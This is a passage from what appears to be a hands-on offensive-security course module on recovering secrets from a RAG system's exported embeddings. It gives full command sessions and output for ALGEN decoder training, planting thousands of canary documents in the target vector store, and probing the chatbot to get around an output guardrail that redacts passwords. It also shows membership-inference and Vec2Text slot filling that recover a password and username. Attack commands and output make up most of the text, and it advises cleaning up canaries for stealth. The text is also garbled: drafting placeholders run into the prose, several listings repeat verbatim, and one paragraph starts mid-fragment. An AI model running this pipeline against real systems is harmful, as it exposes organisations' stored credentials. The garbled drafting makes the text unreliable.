attacker@rag:~$ <cu>wget -q https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O /tmp/miniconda.sh</cu>
attacker@rag:~$ <cu>bash /tmp/miniconda.sh -b -p ~/miniconda3</cu>
attacker@rag:~$ <cu>~/miniconda3/bin/conda init bash && source ~/.bashrc</cu>
attacker@rag:~$ <cu>conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/main</cu>
attacker@rag:~$ <cu>conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/r</cu>
attacker@rag:~$ <cu>conda create -n algen python=3.12 -y</cu>
attacker@rag:~$ <cu>conda activate algen</cu>
Listing 16 - Setting Up the Conda Environment
A custom ALGEN code repository is already located in the home directory of the user attacker, containing (all necessary adjustments)|Explain these changes and why they are necessary:The ALGEN source code was written for transformers 4.x and requires two fixes to run with version 5.x. First, the T5LayerNorm = LayerNorm monkey-patch in src/decoder_finetune.py and src/inversion_utils.py replaces T5's RMSNorm with standard LayerNorm, which produces NaN outputs in newer transformers versions. Removing these three lines fixes the issue:
from torch.nn import LayerNorm
import transformers.models.t5.modeling_t5 as t5_modeling
t5_modeling.T5LayerNorm = LayerNorm
Listing 17 - Removing the T5LayerNorm Monkey Patch
Second, the generate() call in decoder_finetune.py passes max_length as a keyword argument and sets it on the model config directly, which transformers 5.x rejects with a ValueError. The fix is to use a GenerationConfig object instead:
from transformers import GenerationConfig
gen_config = GenerationConfig(
max_length=self.max_length,
num_beams=3,
repetition_penalty=2.0,
length_penalty=2.0,
early_stopping=True,
pad_token_id=self.tokenizer.pad_token_id,
eos_token_id=self.tokenizer.eos_token_id
)
return self.encoder_decoder.generate(
inputs_embeds=input_embeds,
attention_mask=attention_mask,
decoder_input_ids=decoder_input_ids,
generation_config=gen_config,
)
Listing 18 - Fixing the Generate Call for Transformers 5.x
The same GenerationConfig fix must be applied to the decode_embeddings() function in src/inversion_utils.py. Also remove the line self.encoder_decoder.config.max_length = max_length from DecoderFinetuneModel.__init__.
Without these fixes, training will appear to run — the progress bar advances, GPU memory is consumed — but every batch produces loss=nan, and the decoder learns nothing. This is a silent failure that wastes hours of GPU time if not caught early.all necessary adjustments. Let's install the dependencies:
(algen) attacker@rag:~$ <cu>cd ALGEN</cu>
(algen) attacker@rag:~/ALGEN$ <cu>pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu128</cu>
(algen) attacker@rag:~/ALGEN$ <cu>pip3 install -r requirements.txt</cu>
(algen) attacker@rag:~/ALGEN$ <cu>pip3 install sentence-transformers sacrebleu</cu>
Listing 19 - Installing Python Dependencies
Now we generate 50,000 training samples across all 20 enterprise domains. These will serve as both decoder training data and canary texts for alignment. (Explain canary injection for alignment)|Explain the concept of canary injection as used in the ALGEN pipeline. Why does inserting known texts into the target's vector database and exporting the resulting embeddings produce better alignment than embedding the same texts locally with the same model? What is "drift" in this context and how do canaries eliminate it?
(algen) attacker@rag:~/ALGEN$ <cu>python generate_algen_training_data.py \
--domain it_password,infrastructure_credentials,hr_employee,api_developer,cloud_aws,cloud_azure,network_vpn,ci_cd_devops,email_smtp,financial_banking,legal_confidential,medical_hipaa,customer_pii,internal_strategy,certificate_tls,encryption_keys,oauth_sso,database_connection,vendor_partner,saas_credentials \
-o /tmp/canary_source \
--count 50000 --val-size 500 --test-size 500</cu>
[+] Generating 2,500 templates for domain: it_password
...
[+] Total template pool: 37,214
[+] Generating 50,000 filled sentences...
Generated 50,000 unique sentences
[+] Saved to: /tmp/canary_source/
train.txt: 49,000 sentences
val.txt: 500 sentences
test.txt: 500 sentences
Listing 20 - Generating 50K Multidomain Training and Canary Texts
The insert_canaries.py script automates the insertion pipeline: it embeds all texts with all-MiniLM-L6-v2, batch-inserts them into Weaviate with pre-computed vectors, saves the alignment pairs, and copies the train/val/test splits to ALGEN's expected directory.
(algen) attacker@rag:~/ALGEN$ <cu>python insert_canaries.py \
--source-dir /tmp/canary_source \
--weaviate-url http://localhost:8080</cu>
Listing 21 - Automated Canary Insertion with insert_canaries.py
Now we train the decoder. Training uses max_length=64 (giving the decoder room for complete sentences) and batch_size=32 to fit in GPU memory.
(algen) attacker@rag:~/ALGEN$ sudo systemctl stop vllm
(algen) attacker@rag:~/ALGEN$ <cu>WANDB_MODE=disabled python src/exp.py \
--model_name google/flan-t5-small \
--output_dir outputs/flan-t5-small-canary-50k \
--max_length 64 \
--data_folder datasets/finetuning_decoder \
--lang eng_canary \
--train_samples 49000 \
--val_samples 500 \
--batch_size 32 \
--learning_rate 1e-4 \
--weight_decay 1e-4 \
--num_epochs 50</cu>
Listing 22 - Training the Decoder with Canary Data (max_length=64)
The final model achieves BLEU 81.79 and ROUGE-L 0.921 on the validation set. Now let's run the attack. The critical difference from a standard ALGEN setup is the --canary-embeddings flag, which uses the deployment's own embeddings for alignment rather than locally-generated ones:
(algen) attacker@rag:~/ALGEN$ <cu>python run_attack.py \
--canary-embeddings export/canary_embeddings.npy \
--embeddings export/embeddings.npy \
--output algen_results.json</cu>
Using device: cuda
[CANARY MODE] Using deployment embeddings from export/canary_embeddings.npy
Loading stolen embeddings from export/embeddings.npy
Shape: (1, 384), dtype: float32
...
============================================================
ATTACKING STOLEN EMBEDDINGS
(canary-enriched alignment)
============================================================
lambda=0.1 (train cos_sim=0.9707)
[0] The GitHub Actions pipeline is configured. Deploy token: key-1234567890abcdef. Registry: Artifactory, user: readonly, password: Uj4#bWk6. The endpoint is https://login.megacorp
...
============================================================
DONE
============================================================
[+] Results saved to algen_results.json
Best lambda: 0.1 (cos_sim=0.9707)
Listing 23 - ALGEN Attack with Canary Enriched Alignment
Reviewing the output, it's obvious the decoder reconstructed wrong-topic text (CI/CD pipelines instead of password resets). The passwords and tokens in the output are training vocabulary artifacts, not actual values. However, the output now contains semantic fingerprints from the original document that are critical for the next step: the domain fragment login.megacorp, the word password, the phrase must be updated on first login, and the word authenticate.
(Explain ALGEN's wrong-topic output)|The ALGEN decoder produced text about "GitHub Actions pipeline" and "Deploy token" when the actual document is a password reset notice. Explain why this wrong-topic output is expected behavior rather than a failure. What are "semantic fingerprints" in this context, and which specific fragments in the output (like "login.megacorp" and "password") carry signal from the real document?
(algen) attacker@rag:~/ALGEN$ <cu>python run_attack.py \
--canary-embeddings export/canary_embeddings.npy \
--embeddings export/embeddings.npy \
--output algen_results.json</cu>
Using device: cuda
[CANARY MODE] Using deployment embeddings from export/canary_embeddings.npy
Loading stolen embeddings from export/embeddings.npy
Shape: (1, 384), dtype: float32
...
============================================================
ATTACKING STOLEN EMBEDDINGS
(canary-enriched alignment)
============================================================
lambda=0.1 (train cos_sim=0.9707)
[0] The GitHub Actions pipeline is configured. Deploy token: key-1234567890abcdef. Registry: Artifactory, user: readonly, password: Uj4#bWk6. The endpoint is https://login.megacorp
...
============================================================
DONE
============================================================
[+] Results saved to algen_results.json
Best lambda: 0.1 (cos_sim=0.9707)
In the next section, we'll combine inference probing with our current approach to improve our results.
- The ALGEN pipeline injects 50,000 canary documents into the target's vector database. In a stealth-constrained engagement, the text suggests 3,000-5,000 canaries provide "nearly the same alignment quality." Research how linear alignment quality relates to the number of training pairs. Why does performance plateau, and what is the mathematical intuition for why 3,000 pairs suffice for a 384-dimensional embedding space?
Inference probing for template recovery
Please check the attached video named inference_probing_01.mp4
The rag_probe_attack.py script automates the connection between ALGEN's output and the RAG chat interface. It extracts keywords and domain names from ALGEN's reconstructions, generates targeted queries, sends them to the RAG endpoint, and ranks the responses by how closely they match the original embedding.
The best responses are converted into template candidates in three format variations: raw (as the LLM returned it), prose (normalized into flowing sentences), and stripped (list format without preamble). This matters because the stolen embedding was computed on the original document format, which may not match how the RAG LLM reformats it.
For slot detection, the script first looks for redaction markers ([REDACTED], [MASKED], ***) and classifies the slot type from surrounding context. If no markers are found, it falls back to Shannon entropy detection for high-entropy tokens.
[REDACTED], as we have seen in the "Exploiting RAG Pipelines" Module. For the purposes of this section, let's assume the output guardrails are highly advanced and, based on the constraints, we cannot overcome it to provide us with the plaintext information. (algen) attacker@rag:~/ALGEN$ <cu>python rag_probe_attack.py \
--algen-output algen_results.json \
--rag-url http://localhost:80 \
--chunk 0 \
-o probe_template.json</cu>
============================================================
ALGEN Canary Attack with Inference Probing
============================================================
[+] Loading ALGEN output: algen_results.json
[Phase 1] Extracting terms from ALGEN output (chunk 0)
ALGEN text: "The GitHub Actions pipeline is configured. Deploy token: key-1234567890abcdef. Registry: Artifactory..."
Domains: ['login.megacorp']
Keywords: ['authenticate', 'endpoint', 'key', 'login', 'password', 'token']
[Phase 2] Generating targeted RAG queries
Generated 15 queries
[Phase 3] Probing RAG at http://localhost:80
[1/15] What are the exact instructions for https://login.megacorp?...
9 segment(s) extracted (254 chars)
...
[15/15] What is the login for https://login.megacorp?...
1 segment(s) extracted (154 chars)
Responses: 15/15
Segments: 93
[Phase 4] Ranking 93 segments by fidelity
Best segment (score=0.901):
"The key instructions for https://login.megacorp are:
1. Navigate to https://login.megacorpone.ai.
2. Click on "Need help signing in".
3. The default password after resetting is [REDACTED].
4. Change t..."
[Phase 5] Creating template candidates
[prose]: "Navigate to {URL} Click on "Need help signing in". The default password after resetting is {PASSWORD..."
Slots: ['URL', 'PASSWORD']
Confidence: HIGH
Total candidates: 3
[+] Output saved to probe_template.json
Listing 24 - Inference Probing: Extracting Actual Document via RAG
The output guardrail redacted the password as [REDACTED], but the script detected this marker and classified it as a {PASSWORD} slot. The script generates multiple template format variations (raw, prose, stripped) because the RAG LLM may reformat the original document, and the stolen embedding was computed on the original format.
(Explain the RAG probing pipeline)|Break down the five phases of rag_probe_attack.py. Explain how Phase 1 extracts useful terms from ALGEN's wrong-topic output, how Phase 4 ranks response segments by "fidelity" (what does the 0.901 score measure?), and why Phase 5 creates multiple template format variations (raw, prose, stripped) instead of just one.
(algen) attacker@rag:~/ALGEN$ <cu>python rag_probe_attack.py \
--algen-output algen_results.json \
--rag-url http://localhost:80 \
--chunk 0 \
-o probe_template.json</cu>
============================================================
ALGEN Canary Attack with Inference Probing
============================================================
[+] Loading ALGEN output: algen_results.json
[Phase 1] Extracting terms from ALGEN output (chunk 0)
ALGEN text: "The GitHub Actions pipeline is configured. Deploy token: key-1234567890abcdef. Registry: Artifactory..."
Domains: ['login.megacorp']
Keywords: ['authenticate', 'endpoint', 'key', 'login', 'password', 'token']
[Phase 2] Generating targeted RAG queries
Generated 15 queries
[Phase 3] Probing RAG at http://localhost:80
[1/15] What are the exact instructions for https://login.megacorp?...
9 segment(s) extracted (254 chars)
...
[15/15] What is the login for https://login.megacorp?...
1 segment(s) extracted (154 chars)
Responses: 15/15
Segments: 93
[Phase 4] Ranking 93 segments by fidelity
Best segment (score=0.901):
"The key instructions for https://login.megacorp are:
1. Navigate to https://login.megacorpone.ai.
2. Click on "Need help signing in".
3. The default password after resetting is [REDACTED].
4. Change t..."
[Phase 5] Creating template candidates
[prose]: "Navigate to {URL} Click on "Need help signing in". The default password after resetting is {PASSWORD..."
Slots: ['URL', 'PASSWORD']
Confidence: HIGH
Total candidates: 3
[+] Output saved to probe_template.json
Now we can run membership inference across all template candidates. The algen_membership_inference.py script operates in multi-candidate mode: it takes all template format variations produced by rag_probe_attack.py, runs the full membership inference pipeline against each one independently, and automatically selects the format that produces the highest reconstruction similarity.
This is important because the stolen embedding was computed on the original document format, and we don't know whether that format is closer to flowing prose, a numbered list, or the raw format the RAG LLM returned. By testing all three and letting cosine similarity decide, the script removes this guesswork.
(algen) attacker@rag:~/ALGEN$ <cu>python algen_membership_inference.py export/embeddings.npy \
--probe-output probe_template.json \
--chunk 0 \
--slot PASSWORD --wordlist passwords.txt \
--default-URL https://login.megacorpone.ai \
--top-k 10</cu>
[+] Loaded embedding chunk 0 (384-dim)
[Engine] Loading sentence-transformers/all-MiniLM-L6-v2 on cuda
[+] ALGEN Membership Inference — Multi-Candidate Mode
Candidates: 3
...
============================================================
BEST CANDIDATE: prose
Reconstruction similarity: 0.9652
============================================================
--- Slot: PASSWORD ---
Top candidates:
[1] N0=Acc3ss sim=0.9652 margin=+0.0240
[2] acc123 sim=0.9555 margin=+0.0143
[3] acc123. sim=0.9544 margin=+0.0132
[4] ass123 sim=0.9473 margin=+0.0061
[5] security1 sim=0.9455 margin=+0.0043
[6] Ac3SG728 sim=0.9451 margin=+0.0039
Confidence: HIGH (z=10.03, gap=4.22, sep=1.7x)
Assessment: Strong match -- high confidence
--- Summary ---
PASSWORD = N0=Acc3ss [+] HIGH
Strong match -- high confidence
Best reconstruction: "Navigate to https://login.megacorpone.ai Click on "Need help signing in". The default password after resetting is N0=Acc3ss Change the password immediately upon first login."
Reconstruction similarity: 0.9652
Listing 25 - Membership Inference: N0=Acc3ss Recovered at Rank 1
The password N0=Acc3ss is recovered at rank #1 with HIGH confidence. The output guardrail successfully prevented the password from appearing in any RAG response, yet the password was still recovered. The stolen embedding encodes the original unredacted text, so filling the {PASSWORD} slot with the correct value produces the highest cosine similarity.
After the attack, we should always try to remove the canary documents from the vector database for stealth, but also to not degrade the performance of the RAG system for the target enterprise.
- The script creates template candidates in three format variations: raw, prose, and stripped. The stolen embedding was computed on the original document format, which is unknown. Explain why testing all three formats and letting cosine similarity select the best match is more reliable than guessing the correct format.
Vec2Text
Please check the attached video named vec2text_01.mp4
Vec2Text uses a two-stage neural architecture: an inverter generates an initial text guess from the embedding, then a corrector iteratively refines it. Each correction step re-embeds the current guess, measures the gap against the target embedding, and produces a better version. After 20-50 rounds, the text converges on the original. The paper reports up to 92% exact match on 32-token inputs.
The original Vec2Text targets GTR-base and OpenAI embedding models with pre-trained checkpoints on HuggingFace. There's no checkpoint for all-MiniLM-L6-v2 (our target), and the original requires multiple GPUs with millions of training pairs. We only have a single T4 (16 GB VRAM), so we need changes to make it fit.
Enterprise training corpus. The original trains on generic instruction datasets and synthetic evaluation data. We replace this with a hybrid: ~80% synthetic enterprise text from 200+ templates across 10 categories (credential resets, service accounts, API keys, runbooks, etc.) and 20% Wikipedia for general language coverage. The synthetic portion generates instantly with no internet access, and the enterprise vocabulary means the model learns to reconstruct passwords, URLs, and service account details rather than encyclopedic paragraphs.
Recon, not generation. A generative model can't reliably produce high-entropy strings like N0=Acc3ss from a 384-dimensional embedding — the search space is too large. So instead of using Vec2Text as the final extraction step, we use it for reconnaissance: the inverter recovers the structural context (template shape, URL, surrounding language), and we hand credential recovery to the slot filler that brute-forces a wordlist against the target embedding. Vec2Text tells us what kind of document it is; the slot filler recovers the secrets.
Recon-guided template selection. The recovered text is compared against each template category to identify the document type, narrowing from 200+ templates down to the 20 most relevant for that domain.
Training requires a text corpus, its embeddings, and compute time, but no access to the target system. The attacker only needs to know which embedding model the RAG system uses. Let's walk through the full pipeline.
(Explain the Vec2Text two-stage architecture)|Explain the Vec2Text inverter-corrector architecture. How does the inverter generate an initial text hypothesis from a 384-dimensional vector? What is the "embedding residual" that the corrector uses, and why does iterative correction (re-embedding the hypothesis, measuring the gap, refining) converge toward the original text over 20-50 rounds?
First, we'll stop the vLLM systemd service to free up resources on the GPU for the training and correction processes.
(venv) attacker@rag:~/Vec2Text$ <cu>sudo systemctl stop vllm</cu>
Listing 26 - Stopping vLLM Systemd Service
Then, we generate the hybrid corpus, embed all texts with the target embedding model, and split into train/val/test:
(venv) attacker@rag:~/Vec2Text$ <cu>python prepare_data.py \
--source hybrid \
--max-samples 500000 \
--output-dir data</cu>
[+] Hybrid corpus mix:
Synthetic enterprise: 388,888 (78%)
Wikipedia: 111,111 (22%)
[+] Generating synthetic enterprise corpus (388,888 samples)...
Categories: 11 | Templates: 121
Generated 388,888 samples (1,012,598 attempts)
[+] Loading Wikipedia corpus (streaming)...
Extracted 111,111 paragraphs
[+] Hybrid total: 499,999 samples
[+] Split: train=490,001 val=4,999 test=4,999
[+] Embedding 490,001 texts (batch_size=512)...
Done in 483.4s (1014 texts/sec)
Shape: (490001, 384)
[+] Data preparation complete. Output: data/
Listing 27 - Generating the Hybrid Training Corpus
Next, we train the inverter. The inverter learns to map a 384-dimensional embedding to text through an MLP projection layer and a T5-base decoder. The MLP projects the embedding into 32 pseudo-tokens of 768 dimensions each, which the T5 decoder attends to via cross-attention to generate text autoregressively:
(venv) attacker@rag:~/Vec2Text$ <cu>python train_inverter.py \
--data-dir data \
--output-dir checkpoints/inverter \
--batch-size 8 --grad-accum 16 --lr 1e-4 \
--epochs 20 --eval-steps 2000 --no-wandb</cu>
Epoch 1/20: avg_loss=2.4513
val_loss=1.3416 bleu=17.71 rougeL=0.3781 avg_cosine_sim=0.6215
...
Epoch 20/20: avg_loss=0.7065
val_loss=0.7727 bleu=59.43 rougeL=0.7780 avg_cosine_sim=0.9195
[+] Training complete. Best val_loss: 0.7727
Listing 28 - Training the Vec2Text Inverter (20 epochs, ~50 hours on T4)
After 20 epochs (~50 hours on a T4), the inverter achieves 0.92 average cosine similarity between the original and reconstructed embeddings, with BLEU scores of 59.4 and ROUGE-L of 0.78, meaning the recovered text closely matches the original in both content and phrasing. The 0.28 exact match rate means roughly one in four validation samples is reconstructed verbatim.
Next, we'll train the corrector. The corrector takes the inverter's output and refines it by attending to the embedding residual (the difference between the target embedding and the hypothesis embedding). It concatenates a projection of this residual with the T5-encoded hypothesis text, and the decoder generates a corrected version. Before training, it pre-generates beam search hypotheses from the inverter for every training sample:
(venv) attacker@rag:~/Vec2Text$ <cu>python train_corrector.py \
--data-dir data \
--inverter-checkpoint checkpoints/inverter/best.pt \
--output-dir checkpoints/corrector \
--batch-size 8 --grad-accum 16 --lr 5e-5 \
--epochs 5 --eval-steps 2000 --no-wandb</cu>
[+] Pre-generating hypotheses from checkpoints/inverter/best.pt
Generating 4 beam candidates per sample...
Done in 14221.3s
...
Epoch 5/5: avg_loss=0.9325
val_loss=0.9325 correction_gain=+0.0082
[+] Corrector training complete. Best val_loss: 0.9325
Listing 29 - Training the Vec2Text Corrector (5 epochs, ~10 hours on T4)
The corrector's correction_gain metric measures the average cosine similarity improvement over the inverter's initial hypothesis. Because the inverter already achieves 0.92 similarity, the corrector's marginal contribution is small, but still positive. Total training time for both stages is approximately 60 hours on a single T4 GPU.
With trained models, the attack pipeline chains reconstruction, template matching, and slot filling into a single command. Since the output is fairly long, let's go through it step by step:
(venv) attacker@rag:~/Vec2Text$ <cu>python attack.py ../embeddings.npy --wordlist passwords.txt -o attack_results.json -v</cu>
[+] Loading: ../embeddings.npy
Shape: (1, 384)
[+] Loading embedder...
[SlotFiller] Loaded 99,839 entries for PASSWORD
[+] Loading embedder...
[+] Loading inverter from checkpoints/inverter/best.pt...
Loaded (val_loss=0.7726763049274683)
[+] Loading corrector from checkpoints/corrector/best.pt...
Loaded (val_loss=0.9325008068799973)
Using fp16 inference
[+] Attacking 1 chunks...
──────────────────────────────────────────────────
Chunk 0 (1/1)
──────────────────────────────────────────────────
[Recon] Vec2Text inversion...
[Recon] sim=0.9360 "Please navigate to https://login.megacorpone.ai and click on"
Listing 30 - Vec2Text Reconstruction at 93.6% Similarity
The inverter recovers the structural context at 93.6% similarity. The pipeline then uses this recovered text to select the best-matching template category:
[+] Template category selection (from Vec2Text recon):
credential_reset: 0.6018 <--
change_mgmt: 0.4669
service_accounts: 0.4498
policy_with_creds: 0.4029
onboarding: 0.3961
[Templates] Top-20:
1. [0.7017] Please navigate to {URL} and click on Need help signing in. The d
2. [0.6628] The default reset password is {PASSWORD} please change immediatel
3. [0.6619] If your password needs to be reset it will always be {PASSWORD}.
4. [0.6590] Go to {URL} and click reset password. The default password is {PA
5. [0.6516] Visit {URL} to reset your password. Your temporary credential is
Listing 31 - Recon Guided Template Category Selection
The recovered text correctly identified the chunk as a credential_reset document, narrowing the template pool from 200+ templates across all categories down to the 20 most relevant. With the template category identified, the slot filler brute-forces each placeholder against the target embedding. Low-entropy values (URLs, usernames) are recovered first and locked in, then the password slot is re-run with that additional context:
[SlotFill] Brute forcing slots...
[Slot: URL] Pass 1 — 20 templates...
[Slot: USERNAME] Pass 1 — 20 templates...
[Slot: PASSWORD] Pass 1 — 20 templates...
Template 20/20 (99,839 candidates)...
...
[Progressive] Locked: URL=https://login.megacorpone.ai,
USERNAME=mwilliams
[Slot: PASSWORD] Pass 2 — re-filling with context...
Template 20/20 (99,839 candidates)...
Improved: z=5.44 -> 6.50
=================================================================
ATTACK RESULTS
=================================================================
Chunk 0 (922.1s)
Recon: 93.6% similarity
"Please navigate to https://login.megacorpone.ai and click on Need help"
Template: recon-guided -> credential_reset
Best template: 70.2% match
- APPLICATION = [NO_WORDLIST_APPLICATION]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- DEPARTMENT = [NO_WORDLIST_DEPARTMENT]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- ENVIRONMENT = [NO_WORDLIST_ENVIRONMENT]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- FIRST = [NO_WORDLIST_FIRST]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- LAST = [NO_WORDLIST_LAST]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
+++ PASSWORD = N0=Acc3ss
Strong — 5/20 templates agree
[tier=HIGH z=6.50 gap=4.23 mz=2.48 mgap=0.21 wcons=27% rcons=25% margin=0.0070]
- TICKET_NUM = [NO_WORDLIST_TICKET_NUM]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- TICKET_PREFIX = [NO_WORDLIST_TICKET_PREFIX]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
++ URL = https://login.megacorpone.ai
Moderate — 18/20 templates agree, verify
[tier=MEDIUM z=2.98 gap=0.12 mz=2.97 mgap=0.11 wcons=92% rcons=92% margin=0.0113]
++ USERNAME = mwilliams
Moderate — 15/20 templates agree, verify
[tier=MEDIUM z=2.55 gap=0.83 mz=2.29 mgap=0.57 wcons=76% rcons=75% margin=0.0205]
Reconstructed: "Please navigate to https://login.megacorpone.ai and click on Need help signing i"
─────────────────────────────────────────────────────────────
Summary: 1 chunks attacked
HIGH confidence: 1
MEDIUM confidence: 2
LOW confidence: 0
High-confidence extractions:
chunk[0] PASSWORD = N0=Acc3ss
[+] Results saved to attack_results.json
Listing 32 - Full Attack Results with Progressive Fill and Lock
The progressive fill-and-lock strategy first recovers the URL and username (high-confidence, low-entropy values), locks them into the template, then re-runs the password slot with that additional context. This improved the password recovery z-score from 5.44 to 6.50. The locked context reduces noise in the template, making the password slot's contribution to the overall cosine similarity more distinguishable.
(Explain Vec2Text attack results)|Break down the Vec2Text attack output. Explain what the confidence tiers mean (the PASSWORD slot shows "tier=HIGH z=6.50 gap=4.23" while URL shows "tier=MEDIUM z=2.98 gap=0.12"). What do z-score, gap, wcons, and rcons each measure? Why did several slots show "NO_WORDLIST" as their tier, and what would the attacker need to provide to fill those?
(venv) attacker@rag:~/Vec2Text$ <cu>python attack.py ../embeddings.npy --wordlist passwords.txt -o attack_results.json -v</cu>
[+] Loading: ../embeddings.npy
Shape: (1, 384)
[+] Loading embedder...
[SlotFiller] Loaded 99,839 entries for PASSWORD
[+] Loading embedder...
[+] Loading inverter from checkpoints/inverter/best.pt...
Loaded (val_loss=0.7726763049274683)
[+] Loading corrector from checkpoints/corrector/best.pt...
Loaded (val_loss=0.9325008068799973)
Using fp16 inference
[+] Attacking 1 chunks...
──────────────────────────────────────────────────
Chunk 0 (1/1)
──────────────────────────────────────────────────
[Recon] Vec2Text inversion...
[Recon] sim=0.9360 "Please navigate to https://login.megacorpone.ai and click on"
[+] Template category selection (from Vec2Text recon):
credential_reset: 0.6018 <--
change_mgmt: 0.4669
service_accounts: 0.4498
policy_with_creds: 0.4029
onboarding: 0.3961
[Templates] Top-20:
1. [0.7017] Please navigate to {URL} and click on Need help signing in. The d
2. [0.6628] The default reset password is {PASSWORD} please change immediatel
3. [0.6619] If your password needs to be reset it will always be {PASSWORD}.
4. [0.6590] Go to {URL} and click reset password. The default password is {PA
5. [0.6516] Visit {URL} to reset your password. Your temporary credential is
[SlotFill] Brute forcing slots...
[Slot: URL] Pass 1 — 20 templates...
[Slot: USERNAME] Pass 1 — 20 templates...
[Slot: PASSWORD] Pass 1 — 20 templates...
Template 20/20 (99,839 candidates)...
...
[Progressive] Locked: URL=https://login.megacorpone.ai,
USERNAME=mwilliams
[Slot: PASSWORD] Pass 2 — re-filling with context...
Template 20/20 (99,839 candidates)...
Improved: z=5.44 -> 6.50
=================================================================
ATTACK RESULTS
=================================================================
Chunk 0 (922.1s)
Recon: 93.6% similarity
"Please navigate to https://login.megacorpone.ai and click on Need help"
Template: recon-guided -> credential_reset
Best template: 70.2% match
- APPLICATION = [NO_WORDLIST_APPLICATION]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- DEPARTMENT = [NO_WORDLIST_DEPARTMENT]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- ENVIRONMENT = [NO_WORDLIST_ENVIRONMENT]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- FIRST = [NO_WORDLIST_FIRST]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- LAST = [NO_WORDLIST_LAST]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
+++ PASSWORD = N0=Acc3ss
Strong — 5/20 templates agree
[tier=HIGH z=6.50 gap=4.23 mz=2.48 mgap=0.21 wcons=27% rcons=25% margin=0.0070]
- TICKET_NUM = [NO_WORDLIST_TICKET_NUM]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
- TICKET_PREFIX = [NO_WORDLIST_TICKET_PREFIX]
Unlikely — insufficient evidence
[tier=NO_WORDLIST z=0.00 gap=0.00 mz=0.00 mgap=0.00 wcons=0% rcons=0% margin=0.0000]
++ URL = https://login.megacorpone.ai
Moderate — 18/20 templates agree, verify
[tier=MEDIUM z=2.98 gap=0.12 mz=2.97 mgap=0.11 wcons=92% rcons=92% margin=0.0113]
++ USERNAME = mwilliams
Moderate — 15/20 templates agree, verify
[tier=MEDIUM z=2.55 gap=0.83 mz=2.29 mgap=0.57 wcons=76% rcons=75% margin=0.0205]
Reconstructed: "Please navigate to https://login.megacorpone.ai and click on Need help signing i"
─────────────────────────────────────────────────────────────
Summary: 1 chunks attacked
HIGH confidence: 1
MEDIUM confidence: 2
LOW confidence: 0
High-confidence extractions:
chunk[0] PASSWORD = N0=Acc3ss
[+] Results saved to attack_results.json
The trade-off is preparation time: approximately 60 hours of GPU training on a single T4, all performed offline before the engagement. Once trained, each chunk takes roughly 15 minutes to attack. This makes Vec2Text a strategic investment: impractical for opportunistic engagements, but highly-effective when the target embedding model is known in advance and preparation time is available. When those conditions are not met, the zero-shot and ALGEN approaches covered earlier remain the practical choice.
Now we have four methods to choose from. The zero-shot comparison from the previous Learning Unit still holds, but we need to factor in the two pre-trained approaches. The following table covers all four.
- Perform the Vec2Text Attack with Membership Inference on the prepared file
embeddings2.npyin the home directory of the attacker user. What is the password that can be reconstructed? - The Vec2Text training corpus is 80% synthetic enterprise text and 20% Wikipedia. Research the concept of domain-specific training data for neural models. Why include Wikipedia at all if the target is enterprise credentials, and what risk would a 100% synthetic corpus introduce?
- Training the Vec2Text inverter and corrector takes approximately 60 hours on a single T4. In a real engagement, this training happens offline before or while the assessment begins. What information must the attacker obtain during scoping or reconnaissance to justify this 60-hour investment, and what happens if that information turns out to be wrong?
Choosing an approach
| emb_fin.py | zero2text_impl.py | ALGEN + Canary + IPR | Vec2Text (improved) | |
|---|---|---|---|---|
| Category | Zero-Shot | Zero-Shot | Few-Shot | Supervised |
| Prep time | None | None | ~2 hrs (decoder training + canary injection) | ~60 hrs (inverter + corrector training) |
| Attack time/chunk | Minutes | Minutes (slower; beam search) | Minutes (probing + membership inference) | ~15 min |
| Embedding model | Must be known | Must be known | Can be unknown (canary alignment) | Must be known |
| Target access | Exported embeddings only | Exported embeddings only | Exported embeddings + RAG endpoint + vector store write | Exported embeddings only |
| GPU required | No (CPU viable) | Effectively yes (beam search) | Yes (training + inference) | Yes (training + inference) |
| Text recovery method | Scores pre-generated templates against target embedding | Token-by-token beam search against target embedding | Neural decoder extracts keywords; RAG probing reveals template; membership inference fills slots | Neural inverter + iterative corrector; recon-guided template selection + progressive fill-and-lock |
| Credential extraction | Template bank + diversity clustering + consensus-voted slot filler | Beam search recovers structure; entropy detection identifies slots; slot filler extracts values | RAG responses reveal template; redaction markers become slots; membership inference fills them | Recon-guided template selection + progressive fill-and-lock slot filling |
| Invasiveness | Passive | Passive | Active (injects canaries, queries RAG) | Passive (offline training, no target interaction) |
